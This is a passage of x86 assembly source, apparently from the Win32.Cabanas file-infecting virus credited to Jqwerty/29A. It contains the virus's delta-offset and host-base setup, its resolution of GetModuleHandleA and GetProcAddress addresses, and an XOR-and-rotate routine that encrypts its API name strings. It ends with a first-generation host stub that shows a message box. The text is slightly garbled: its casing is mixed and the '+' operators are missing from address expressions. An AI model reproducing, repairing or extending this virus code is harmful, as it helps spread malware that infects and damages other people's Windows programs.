MOV [EBX CODE_TABLE 6 - REF], Al
MOV EAX, EBX
Sub Eax, Ref - Code_Table
Sub Eax, ECX
NEG EAX
MOV [EBX DELTA_HOST - REF], EAX
MOV [EBX OLD_BASE - REF], ECX
Mov Eax, [EBX PFNGMH - REF]
.IF Word PTR [EAX] == 25ffH; JMP [xxxxxxxx]
Mov Eax, [EAX 2]
.endif
Sub Eax, ECX
MOV [EBX DDGETMODULEHANDLEA - REF], EAX; Set getModuleHandlea RVA Pointer
MOV EAX, [EBX PFNGPA - REF]
.IF Word PTR [EAX] == 25ffH; JMP [xxxxxxxx]
Mov Eax, [EAX 2]
.endif
Sub Eax, ECX
MOV [EBX DDGETPROCADDRESS - REF], EAX; Set getProcaddress RVA Pointer
CLD; Encrypt API STRINGZ
MOV ECX, ve_string_size
Lea ESI, [EBX VE_STRINGZ - REF]
Mov EDI, ESI
Encrypt_stringz:
Lodsb
CMP Al, 80h
Lahf
XOR Al, 0B5H
Ror Al, Cl
Stosb
SAHF
.IF ZERO?
Movsb
.endif
Dec ECX
CMP ECX, 10
JNZ Encrypt_Stringz
MOV ECX, V_END2 - V_STRINGZ
Lea EDI, [EBX V_STRINGZ - REF]
MOV Al, -1
Rep Stosb
JMP v_start
Pfngmh DD Offset GetModuleHandlea
Pfngpa DD Offset GetProcaddress
Host Code Starts Here
EXTRN Messageboxa: Proc
EXTRN EXITPROCESS: PROC
Host: Push Mb_ok; Display Message Box
@Pushsz "(c) Win32.cabanas v1.1 by jqwerty / 29a"
@Pushsz "First Generation Sample"
Push null
Call Messageboxa
EXIT: PUSH 0; EXIT HOST
Call EXITPROCESS
End first_generation